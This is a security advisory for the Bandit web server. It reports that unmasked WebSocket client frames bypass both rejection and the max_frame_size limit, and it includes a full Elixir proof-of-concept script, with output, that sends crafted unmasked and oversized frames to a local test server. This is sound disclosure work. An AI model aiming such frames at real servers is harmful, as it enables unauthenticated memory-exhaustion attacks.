Skip to content

Bandit accepts unmasked client WebSocket frames (RFC 6455 §5.1 violation) and buffers them without a frame-size limit

Moderate
mtrudel published GHSA-rhh8-5xw9-c3gm Jul 24, 2026

Package

erlang bandit (Erlang)

Affected versions

1.12.0

Patched versions

None

Description

Summary

Bandit's WebSocket frame parser fails to reject client frames sent with the
mask bit clear. RFC 6455 §5.1 requires a server to fail the connection (close
code 1002) when it receives an unmasked frame from a client. Instead, Bandit
silently treats the frame as incomplete and keeps buffering, and because the
max_frame_size check is only reached once a frame length has been parsed, an
unmasked frame is never size-limited. A peer can therefore (a) violate the
protocol without being disconnected, and (b) stream data into a per-connection
buffer that grows without a frame-size bound until the socket read timeout
fires.

Severity Moderate. Unauthenticated. Protocol-conformance violation with a bounded
memory-pressure (DoS) consequence.

Details

lib/bandit/websocket/frame.ex:56-61:

def header_and_payload_length(
      <<_fin::1, _compressed::1, _rsv::2, _opcode::4, 0::1, _rest::binary>>,
      _max_frame_size
    ) do
  {:error, :client_frame_without_mask}
end

This clause is intended to match any frame whose mask bit (the 0::1) is clear
and return {:error, :client_frame_without_mask}. But the fixed prefix is only
9 bits (1 + 1 + 2 + 4 + 1), and _rest::binary requires a whole number of
bytes. For any byte-aligned input of 8N bits the remainder is 8N − 9, which
is never a multiple of 8 — so this clause can never match. Compare the
masked clauses just above (frame.ex:31-54), whose prefixes are byte-aligned
because they include the 7-bit length field (e.g. ... 1::1, length::7, _mask::32, _rest::binary>> = 48-bit prefix). The unmasked clause omitted
length::7.

Unmasked frames therefore fall through to the :more fallback
(frame.ex:63-65), and Bandit.Extractor.push_data/2
(lib/bandit/extractor.ex:46-49) keeps appending received bytes to
state.header with no size cap. validate_max_frame_size/3 is only invoked
after a length field is parsed, which never happens for an unmasked frame, so
max_frame_size is never enforced on this path.

PoC

A real Bandit WebSocket echo server (max_frame_size: 100) driven by a raw TCP
client. Output:

=== 1. MASKED frame (RFC-compliant client) ===
handshake OK (101, valid Sec-WebSocket-Accept)
  -> got echo: "hello"  (handler processed the frame ✔)

=== 2. UNMASKED small frame (RFC 6455 §5.1: server MUST close 1002) ===
handshake OK (101, valid Sec-WebSocket-Accept)
  -> BUG: no close, no echo — server silently buffered the frame and is waiting for more bytes

=== 3. UNMASKED frame declaring payload > max_frame_size (100) ===
  -> BUG: 500-byte unmasked frame accepted with max_frame_size=100, no rejection (size check bypassed)

=== 4. Control: MASKED oversized frame IS rejected ===
  -> server sent CLOSE code 1009 (masked oversized correctly rejected ✔)

Full script: poc_ws_unmasked.exs (attached). It performs a valid WebSocket
handshake, then sends (2) an unmasked text frame and (3) an unmasked
500-byte-payload frame against a server configured with max_frame_size: 100,
showing neither is rejected, while the control case (4) confirms the limit
works for masked frames.

To reproduce clone bandit, mix install and mix run poc_ws_unmasked.exs in bandit dir

# PoC: Bandit WebSocket accepts (silently buffers) unmasked client frames.
# RFC 6455 §5.1: a server MUST close (1002) on an unmasked client frame,
# and max_frame_size MUST bound buffering. Bandit does neither: the rejection
# clause in frame.ex:56-61 is byte-misaligned dead code, so unmasked frames
# fall through to :more and accumulate in the extractor's header buffer with
# no size check.
#
# Run:  mix run poc_ws_unmasked.exs

defmodule Echo do
  @behaviour WebSock
  @impl true
  def init(_), do: {:ok, nil}
  @impl true
  def handle_in({data, opcode: :text}, state), do: {:push, {:text, data}, state}
  def handle_in(_, state), do: {:ok, state}
  @impl true
  def terminate(_reason, _state), do: :ok
end

defmodule Router do
  use Plug.Router
  plug :match
  plug :dispatch

  get "/ws" do
    conn
    |> WebSockAdapter.upgrade(Echo, [], timeout: 5_000)
    |> halt()
  end

  match _ do
    send_resp(conn, 404, "no")
  end
end

# WebSockAdapter isn't a dep here; do the upgrade via Bandit's Plug API directly.
defmodule DirectRouter do
  import Plug.Conn
  def init(o), do: o
  def call(%{request_path: "/ws"} = conn, _) do
    conn
    |> upgrade_adapter(:websocket, {Echo, [], [max_frame_size: 100, timeout: 5_000]})
    |> halt()
  end
  def call(conn, _), do: send_resp(conn, 404, "no")
end

port = 4567
{:ok, _} = Bandit.start_link(plug: DirectRouter, scheme: :http, port: port, ip: :loopback)

defmodule Client do
  @guid "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"

  def connect(port) do
    {:ok, s} = :gen_tcp.connect(~c"127.0.0.1", port, [:binary, active: false, packet: :raw])
    key = Base.encode64(:crypto.strong_rand_bytes(16))
    req =
      "GET /ws HTTP/1.1\r\n" <>
        "Host: localhost\r\n" <>
        "Connection: Upgrade\r\n" <>
        "Upgrade: websocket\r\n" <>
        "Sec-WebSocket-Version: 13\r\n" <>
        "Sec-WebSocket-Key: #{key}\r\n\r\n"

    :ok = :gen_tcp.send(s, req)
    {:ok, resp} = :gen_tcp.recv(s, 0, 2000)
    expected = :crypto.hash(:sha, key <> @guid) |> Base.encode64()
    true = String.contains?(resp, "101 Switching Protocols")
    true = String.contains?(resp, expected)
    IO.puts("handshake OK (101, valid Sec-WebSocket-Accept)")
    s
  end

  # opcode 0x1 = text, FIN set
  def masked_text(payload) do
    mask = :crypto.strong_rand_bytes(4)
    masked = apply_mask(payload, mask)
    len = byte_size(payload)
    true = len <= 125
    <<0x81, 1::1, len::7>> <> mask <> masked
  end

  def unmasked_text(payload) do
    len = byte_size(payload)
    true = len <= 125
    <<0x81, 0::1, len::7>> <> payload
  end

  # 126 => 16-bit extended length; still under our test buffer target
  def unmasked_text_long(payload) do
    len = byte_size(payload)
    <<0x81, 0::1, 126::7, len::16>> <> payload
  end

  defp apply_mask(data, mask) do
    for {b, i} <- Enum.with_index(:binary.bin_to_list(data)), into: <<>> do
      m = :binary.at(mask, rem(i, 4))
      <<Bitwise.bxor(b, m)>>
    end
  end

  def recv(s, timeout), do: :gen_tcp.recv(s, 0, timeout)
end

IO.puts("\n=== 1. MASKED frame (RFC-compliant client) ===")
s1 = Client.connect(port)
:ok = :gen_tcp.send(s1, Client.masked_text("hello"))
case Client.recv(s1, 1500) do
  {:ok, <<0x81, _len, rest::binary>>} -> IO.puts("  -> got echo: #{inspect(rest)}  (handler processed the frame ✔)")
  other -> IO.puts("  -> unexpected: #{inspect(other)}")
end
:gen_tcp.close(s1)

IO.puts("\n=== 2. UNMASKED small frame (RFC 6455 §5.1: server MUST close 1002) ===")
s2 = Client.connect(port)
:ok = :gen_tcp.send(s2, Client.unmasked_text("hello"))
case Client.recv(s2, 1500) do
  {:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 ->
    IO.puts("  -> server sent CLOSE code #{code} (compliant)")
  {:ok, <<0x81, _len, rest::binary>>} ->
    IO.puts("  -> server ECHOED unmasked frame: #{inspect(rest)} (also wrong — accepted it)")
  {:error, :timeout} ->
    IO.puts("  -> BUG: no close, no echo — server silently buffered the frame and is waiting for more bytes")
  other ->
    IO.puts("  -> #{inspect(other)}")
end

IO.puts("\n=== 3. UNMASKED frame declaring payload > max_frame_size (100) ===")
IO.puts("     A masked oversized frame is rejected; an unmasked one bypasses the check entirely.")
big = String.duplicate("A", 500)
:ok = :gen_tcp.send(s2, Client.unmasked_text_long(big))
case Client.recv(s2, 1500) do
  {:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 ->
    IO.puts("  -> server sent CLOSE code #{code}")
  {:error, :timeout} ->
    IO.puts("  -> BUG: 500-byte unmasked frame accepted with max_frame_size=100, no rejection (size check bypassed)")
  other ->
    IO.puts("  -> #{inspect(other)}")
end
:gen_tcp.close(s2)

IO.puts("\n=== 4. Control: MASKED oversized frame IS rejected (shows the limit works when the clause matches) ===")
s3 = Client.connect(port)
# masked 200-byte frame (126 extended len), payload > max_frame_size 100
big2 = String.duplicate("B", 200)
mask = :crypto.strong_rand_bytes(4)
masked = for {b, i} <- Enum.with_index(:binary.bin_to_list(big2)), into: <<>> do
  <<Bitwise.bxor(b, :binary.at(mask, rem(i, 4)))>>
end
frame = <<0x81, 1::1, 126::7, byte_size(big2)::16>> <> mask <> masked
:ok = :gen_tcp.send(s3, frame)
case Client.recv(s3, 1500) do
  {:ok, <<0x88, l, code::16, _::binary>>} when l >= 2 -> IO.puts("  -> server sent CLOSE code #{code} (masked oversized correctly rejected ✔)")
  {:error, :closed} -> IO.puts("  -> connection closed (rejected)")
  other -> IO.puts("  -> #{inspect(other)}")
end
:gen_tcp.close(s3)

IO.puts("\nDone.")

Suggested fix:
Include the length octet so the clause is byte-aligned and actually matches,
e.g.:

def header_and_payload_length(
      <<_fin::1, _compressed::1, _rsv::2, _opcode::4, 0::1, _len::7, _rest::binary>>,
      _max_frame_size
    ) do
  {:error, :client_frame_without_mask}
end

Separately, consider bounding the extractor's header-parsing buffer
independently of max_frame_size so no unparsed prefix can grow without limit.

Impact

  1. RFC 6455 §5.1 violation: the server does not fail the connection (close
    1002) on an unmasked client frame; it silently waits for more data to
    "complete" an already-complete frame.
  2. Frame-size limit bypass / memory pressure: an unmasked frame is never
    bounded by max_frame_size; the extractor's header buffer grows with every
    byte the peer sends, bounded only by the socket idle/read timeout (default
    ~60 s). Across many connections this is an unauthenticated memory-pressure
    vector. (It is time-boxed by the read timeout, so it is not an unbounded
    leak.)

Real browsers and the Autobahn compliance suite always mask client frames, so
this latent defect is not exercised by conformance testing.

Severity

Moderate

CVE ID

No known CVE

Weaknesses

No CWEs

Credits